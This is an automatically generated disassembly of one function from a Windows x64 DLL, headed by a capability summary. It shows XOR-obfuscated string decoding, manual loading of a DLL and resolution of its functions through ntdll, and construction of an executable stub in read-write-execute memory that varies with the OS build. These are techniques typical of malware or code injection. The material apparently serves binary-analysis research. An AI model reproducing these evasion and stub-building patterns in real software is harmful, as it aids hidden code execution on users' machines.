Function at 0x180027d30
Capabilities:
Access peb ldr_data
Allocate or change rwx memory
Encode data using xor
Get ntdll base address
Get number of processors
Get system information on windows
Make suspicious ntquerysysteminformation call

Disassembly:
mov rax, rsp
push rbp
push rbx
push rsi
push rdi
push r14
push r15
lea rbp, [rax - 0x5f]
sub rsp, 0xe8
movaps xmmword [rax - 0x48], xmm6
movaps xmmword [rax - 0x58], xmm7
movaps xmmword [rax - 0x68], xmm8
xor r15d, r15d
mov qword [rbp + 0x77], r15
mov qword [rbp + 0x7f], r15
mov qword [rbp - 0x69], r15
xorps xmm0, xmm0
movups xmmword [rbp - 0x39], xmm0
mov esi, r15d
mov rax, qword gs:[0x30]
mov rcx, qword [rax + 0x60]
mov r14, qword [rcx + 0x30]
mov ebx, 0x1000
mov r8d, ebx
mov edx, 8
mov rcx, r14
call qword [sym.imp.ntdll.dll_RtlAllocateHeap]
mov rdi, rax
test rax, rax
je 0x18002885f
lea r9, [rbp + 0x67]
mov r8d, ebx
mov rdx, rax
mov ecx, listen
call qword [sym.imp.ntdll.dll_NtQuerySystemInformation]
mov r8, rdi
xor edx, edx
cmp eax, 0xc0000004
jne 0x180027dd7
mov rcx, r14
call qword [sym.imp.ntdll.dll_RtlFreeHeap]
add ebx, ebx
inc esi
cmp esi, 0x64
jle 0x180027d82
jmp 0x18002885f
test eax, eax
js 0x180028856
mov rbx, qword [rdi + 0x18]
mov rax, qword gs:[0x30]
mov rcx, qword [rax + 0x60]
mov rcx, qword [rcx + 0x30]
call qword [sym.imp.ntdll.dll_RtlFreeHeap]
mov qword [0x180349fe0], rbx
test rbx, rbx
je 0x180028866
movups xmm3, xmmword [str.YLVIPNSR]
movups xmmword [rsp + 0x30], xmm3
movsd xmm0, qword [0x18014e1f8]
movsd qword [rbp - 0x79], xmm0
movzx eax, word [0x18014e200]
mov word [rbp - 0x71], ax
mov r8d, r15d
mov edi, 5
lea esi, [rdi + 0x1a]
mov ebx, dword [reloc.WS2_32.dll_accept]
cmp ebx, 2
jl 0x180027f36
movdqa xmm4, xmmword [0x1801519e0]
movd xmm6, edi
movd xmm5, esi
movdqa xmm2, xmmword [0x180151790]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm5
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1801517d0]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
paddw xmm2, xmmword [0x180151890]
movq xmm1, xmm3
xorps xmm2, xmm1
movq qword [rsp + 0x30], xmm2
movdqa xmm3, xmmword [0x1801517a0]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm5
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1801517d0]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
paddw xmm2, xmmword [0x180151890]
movq xmm0, qword [rsp + 0x38]
xorps xmm2, xmm0
movq qword [rsp + 0x38], xmm2
mov r8d, 8
movsxd rax, r8d
lea r9, [rsp + 0x30]
lea r9, [r9 + rax*2]
nop dword [rax]
nop word [rax + rax]
mov eax, 0xa0a0a0a1
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movzx eax, dx
imul ecx, eax, 0x33
movzx eax, r8w
sub ax, cx
add ax, 0x37
xor word [r9], ax
inc r8d
lea r9, [r9 + 2]
cmp r8d, 0xd
jl 0x180027f50
lea rdx, [rsp + 0x30]
lea rcx, [rbp - 0x39]
call qword [sym.imp.ntdll.dll_RtlInitUnicodeString]
lea r9, [0x180349fd0]
lea r8, [rbp - 0x39]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.ntdll.dll_LdrLoadDll]
test eax, eax
js 0x18002884f
cmp qword [0x180349fd0], r15
je 0x18002884f
xorps xmm0, xmm0
movups xmmword [rbp - 0x59], xmm0
movups xmm1, xmmword [str.r_xVWS_K_]
movups xmmword [rsp + 0x30], xmm1
mov eax, dword [0x18014e090]
mov dword [rbp - 0x79], eax
movzx eax, word [0x18014e094]
mov word [rbp - 0x75], ax
cmp byte [0x18014e095], r15b
je 0x180028193
mov r8d, r15d
cmp ebx, 2
jl 0x18002814b
movdqa xmm5, xmmword [0x180151790]
movdqa xmm4, xmmword [0x1801519e0]
movd xmm6, edi
movdqa xmm7, xmmword [0x1801517d0]
movd xmm8, esi
movdqa xmm0, xmmword [0x1801518d0]
movdqa xmmword [rbp - 0x49], xmm0
lea rcx, [rsp + 0x30]
mov edx, dword [rbp - 0x49]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1801518a0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1801518a0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm2, xmm0
movd dword [rcx + 4], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x10
jl 0x180028040
cmp r8d, 0x16
jge 0x180028193
movsxd rax, r8d
lea r9, [rsp + 0x30]
add r9, rax
nop word [rax + rax]
mov eax, 0xa0a0a0a1
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x33
movzx eax, r8b
sub al, cl
add al, 0x37
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x16
jl 0x180028160
lea rdx, [rsp + 0x30]
lea rcx, [rbp - 0x59]
call qword [sym.imp.ntdll.dll_RtlInitString]
lea r9, [rbp + 0x77]
xor r8d, r8d
lea rdx, [rbp - 0x59]
mov rcx, qword [0x180349fd0]
call qword [sym.imp.ntdll.dll_LdrGetProcedureAddress]
test eax, eax
js 0x180028848
cmp qword [rbp + 0x77], r15
je 0x180028848
cmp dword [0x180349fd8], 0x3ad7
jae 0x180028577
movups xmm0, xmmword [str.gKzH_I_l926_]
movups xmmword [rsp + 0x30], xmm0
mov eax, dword [0x18014e190]
mov dword [rbp - 0x79], eax
movzx eax, byte [0x18014e194]
mov byte [rbp - 0x75], al
mov r8d, r15d
cmp ebx, 2
jl 0x18002834b
movdqa xmm5, xmmword [0x180151790]
movdqa xmm4, xmmword [0x1801519e0]
movd xmm6, edi
movdqa xmm7, xmmword [0x1801517d0]
movd xmm8, esi
movdqa xmm0, xmmword [0x1801518d0]
movdqa xmmword [rbp - 0x49], xmm0
lea rcx, [rsp + 0x30]
mov edx, dword [rbp - 0x49]
nop dword [rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1801518a0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1801518a0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm2, xmm0
movd dword [rcx + 4], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x10
jl 0x180028240
cmp r8d, 0x15
jge 0x180028393
movsxd rax, r8d
lea r9, [rsp + 0x30]
add r9, rax
nop word [rax + rax]
mov eax, 0xa0a0a0a1
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x33
movzx eax, r8b
sub al, cl
add al, 0x37
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x15
jl 0x180028360
lea rdx, [rsp + 0x30]
lea rcx, [rbp - 0x59]
call qword [sym.imp.ntdll.dll_RtlInitString]
lea r9, [rbp + 0x7f]
xor r8d, r8d
lea rdx, [rbp - 0x59]
mov rcx, qword [0x180349fd0]
call qword [sym.imp.ntdll.dll_LdrGetProcedureAddress]
test eax, eax
js 0x18002856d
cmp qword [rbp + 0x7f], r15
je 0x18002856d
mov rax, qword [str.mOzVTOX_UX_lJW_]
mov qword [rbp + 0x67], rax
cmp byte [0x18014e01f], r15b
je 0x180028533
cmp ebx, 2
jl 0x1800284f1
movdqa xmm4, xmmword [0x1801519e0]
movd xmm6, edi
movd xmm5, esi
movdqa xmm2, xmmword [0x180151790]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm5
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1801517d0]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1801518a0]
packuswb xmm2, xmm2
mov eax, dword [0x1801518d0]
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x67]
xorps xmm2, xmm1
movd dword [rbp + 0x67], xmm2
movdqa xmm3, xmmword [0x1801517a0]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm5
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1801517d0]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1801518a0]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x6b]
xorps xmm2, xmm1
movd dword [rbp + 0x6b], xmm2
jmp 0x180028533
lea r9, [rbp + 0x67]
mov r8d, r15d
nop dword [rax + rax]
mov eax, 0xa0a0a0a1
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x33
movzx eax, r8b
sub al, cl
add al, 0x37
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 8
jl 0x180028500
lea rdx, [rbp + 0x67]
lea rcx, [rbp - 0x59]
call qword [sym.imp.ntdll.dll_RtlInitString]
lea r9, [rbp - 0x69]
xor r8d, r8d
lea rdx, [rbp - 0x59]
mov rcx, qword [0x180349fd0]
call qword [sym.imp.ntdll.dll_LdrGetProcedureAddress]
test eax, eax
js 0x180028563
cmp qword [rbp - 0x69], r15
jne 0x180028577
mov eax, 9
jmp 0x18002886b
mov eax, 8
jmp 0x18002886b
mov ecx, 0x48
call fcn.1800afc50
mov qword [rbp + 0x67], rax
mov rcx, rax
call fcn.1800241f0
mov rdi, rax
mov qword [rbp + 0x6f], r15
mov rcx, qword [rax + 0x38]
mov edx, dword [rcx + 0x50]
add rdx, 0x1000
mov qword [rbp - 0x61], rdx
mov dword [rsp + 0x28], 0x40
mov dword [rsp + 0x20], 0x3000
lea r9, [rbp - 0x61]
xor r8d, r8d
lea rdx, [rbp + 0x6f]
lea rcx, [r8 - 1]
call qword [sym.imp.ntdll.dll_NtAllocateVirtualMemory]
mov rax, qword [rbp + 0x6f]
test rax, rax
jne 0x1800285de
mov eax, 0xa
jmp 0x18002886b
mov byte [rax], 0x48
mov rax, qword [rbp + 0x6f]
mov byte [rax + 1], 0xb9
mov rdx, qword [0x180349fe0]
mov rcx, rdx
sub rcx, qword [0x180349fd0]
add rcx, qword [rbp + 0x77]
mov rax, qword [rbp + 0x6f]
mov qword [rax + 2], rcx
mov r8d, dword [0x180349fd8]
cmp r8d, 0x3ad7
jae 0x18002866b
mov rax, qword [rbp + 0x6f]
mov byte [rax + 0xa], 0x48
mov rax, qword [rbp + 0x6f]
mov byte [rax + 0xb], 0xba
mov rcx, rdx
sub rcx, qword [0x180349fd0]
add rcx, qword [rbp + 0x7f]
mov rax, qword [rbp + 0x6f]
mov qword [rax + 0xc], rcx
mov rax, qword [rbp + 0x6f]
mov byte [rax + 0x14], 0x49
mov rax, qword [rbp + 0x6f]
mov byte [rax + 0x15], 0xb8
sub rdx, qword [0x180349fd0]
add rdx, qword [rbp - 0x69]
mov rax, qword [rbp + 0x6f]
mov qword [rax + 0x16], rdx
mov esi, 0x31e
mov ecx, 0x1e
jmp 0x180028675
mov esi, 0x30a
mov ecx, 0xa
add rcx, qword [rbp + 0x6f]
cmp r8d, 0x3ad7
jae 0x180028717
lea rax, [0x180114870]
mov edx, 3
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
sub rdx, 1
jne 0x180028692
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
jmp 0x1800287a7
lea rax, str._SUVH
mov edx, 2
nop dword [rax]
nop word [rax + rax]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
sub rdx, 1
jne 0x180028730
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movzx eax, byte [rax + 0x40]
mov byte [rcx + 0x40], al
lea rdx, [rbp - 0x29]
mov rcx, rdi
call fcn.180024390
mov rbx, qword [rbp - 0x29]
cmp rbx, qword [rbp - 0x21]
je 0x18002880f
mov rax, qword [rdi + 0x38]
mov r8d, dword [rax + 0x50]
mov ecx, esi
add rcx, qword [rbp + 0x6f]
mov rdx, rbx
call fcn.1800b21e0
mov rax, qword [rdi + 0x38]
mov edx, dword [rax + 0x50]
add edx, 0x1000
mov rcx, qword [rbp + 0x6f]
call fcn.180027230
cmp qword [rbp + 0x6f], 0
je 0x18002880f
mov qword [rbp - 0x61], r15
mov r9d, 0x8000
lea r8, [rbp - 0x61]
lea rdx, [rbp + 0x6f]
mov rcx, 0xffffffffffffffff
call qword [sym.imp.ntdll.dll_NtFreeVirtualMemory]
test rbx, rbx
je 0x180028844
mov rdx, qword [rbp - 0x19]
sub rdx, rbx
mov rax, rbx
cmp rdx, 0x1000
jb 0x18002883c
add rdx, 0x27
mov rbx, qword [rbx - 8]
sub rax, rbx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x18002888e
mov rcx, rbx
call fcn.1800afc8c
xor eax, eax
jmp 0x18002886b
mov eax, 7
jmp 0x18002886b
mov eax, 6
jmp 0x18002886b
mov rcx, r14
call qword [sym.imp.ntdll.dll_RtlFreeHeap]
mov qword [0x180349fe0], r15
mov eax, 3
lea r11, [rsp + 0xe8]
movaps xmm6, xmmword [r11 - 0x18]
movaps xmm7, xmmword [r11 - 0x28]
movaps xmm8, xmmword [r11 - 0x38]
mov rsp, r11
pop r15
pop r14
pop rdi
pop rsi
pop rbx
pop rbp
ret
call fcn.1800bbb24
int3